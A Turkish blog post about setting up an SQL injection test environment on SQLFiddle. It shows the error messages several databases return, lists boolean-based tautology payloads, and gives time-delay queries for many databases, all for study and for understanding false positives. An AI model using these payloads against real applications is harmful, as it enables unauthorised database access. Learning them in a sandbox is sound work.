23 Haziran 2014 Pazartesi

Sql enjeksiyon test ortamı oluşturmak

Sqlmap, Acunetix, Netsparker vb gibi otomatize araçları kullanarak SQL enjeksiyon saldırıları gerçekleştirmek oldukça kolaydır. Fakat kullanılan saldırı vektörlerini davranışsal olarak incelemek veya False-Positive durumlarıyla karşı karşıya kaldığımızda kullanılan teknikleri anlamamız açısından test ortamı oluşturmak elzemdir.

Test ortamını oluştururken http://sqlfiddle.com/ uygulamasını kullanacağız. SQLFiddle; MSSQL, SQLite, PostgreSQL, MySQL ve Oracle 'in çeşitli sürümlerini destekleyen bir platformdur.

Şimdi sırasıyla Sql enjeksiyon tekniklerini inceleyelim.


Hata tabanlı SQL Enjeksiyon :

Bu yöntemde, sorguda kullandığımız saldırı vektörleri karşısında server-side yapıdan dönen hata mesajlarını değerlendirmekteyiz. Genellikle (tek tırnak ') veya (çift tırnak '') kullanılmaktadır. Aşağıda farklı veritabanlarından dönen sonuçları görmekteyiz.

Seçilen Veritabanı :
MySQL

Alınan Hata :
You have an error in your SQL syntax

Dönen Sonuç : SQLFiddle

Seçilen veritabanı :
Oracle: ORA-01756

Alınan Hata :
quoted string not properly terminated

Dönen Sonuç : SQLFiddle

Seçilen Veritabanı:
PostgreSQL

Alınan Hata :
ERROR: unterminated quoted string

Dönen Sonuç : SQLFiddle

Seçilen Veritabanı :
SQLite

Alınan Hata :
SQLite exception

Dönen Sonuç :  SQLFiddle

Seçilen Veritabanı:
MSSQL

Alınan Hata :
Invalid SQL statement or JDBC escape, terminating ”’ not found

Dönen Sonuç : SQLFiddle

Boolean Tabanlı Sql Enjeksiyon : 

Bu yöntemde, sunucuya giden sorguyu değiştirerek tarayıcıya geri dönen içeriğin orijinal olup/olmasına bakılmaktadır. Genellikle sorgu içerisinde Where Clause ile birlikte kullanılmaktadır. Aşağıda örnek saldırı vektörlerini görmekteyiz.

999999 or 1=1 or 1=1
' or 1=1 or '1'='1
" or 1=1 or "1"="1
999999) or 1=1 or (1=1
') or 1=1 or ('1'='1
") or 1=1 or ("1"="1
999999)) or 1=1 or ((1=1
')) or 1=1 or (('1'='1
")) or 1=1 or (("1"="1
999999))) or 1=1 or (((1
'))) or 1=1 or ((('1'='1
"))) or 1=1 or ((("1"="1

Dönen sonuçlar:  SQLFiddle

Zaman Tabanlı Sql Enjeksiyon : 

Bu yöntemde, kullandığımız saldırı vektörü ile sorgu işlemini yavaşlatıp dönen sayfanın gecikme süresine bakılmaktadır. Bu yöntem MySQL, Oracle, PostgreSQL, Microsoft SQL Server, IBM DB2, SQLite, Firebird, Sybase ve SAP MaxDB gibi veritabanlarında kullanılmaktadır. Aşağıda farklı veritabanlarından dönen sonuçları görmekteyiz.

Seçilen Veritabanı :
MySQL

Dönen Sonuç : SQLFiddle

Seçilen Veritabanı:
PostgreSQL

Dönen Sonuç : SQLFiddle

Diğer Veritabanları :

SQLite: select like(‘abcdefg’,upper(hex(randomblob(150000000))))
MSSQL,Sybase: select count(*) from sysusers as sys1,sysusers as sys2,sysusers as sys3,sysusers as sys4,sysusers as sys5,sysusers as sys6,sysusers as sys7
Oracle: select count(*) from all_users t1,all_users t2,all_users t3,all_users t4,all_users t5
DB2: select count(*) from sysibm.systables as t1,sysibm.systables as t2,sysibm.systables as t3
Firebird: select count(*) from rdb$fields as t1,rdb$types as t2,rdb$collations as t3
SAP MaxDB: select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3
SQL-92 Compliant DBs:  select count(*) from INFORMATION_SCHEMA.tables as sys1, INFORMATION_SCHEMA.tables as sys2, INFORMATION_SCHEMA.tables as sys3, INFORMATION_SCHEMA.tables as sys4, INFORMATION_SCHEMA.tables as sys5, INFORMATION_SCHEMA.tables as sys6


EOF

0 yorum:

Yorum Gönder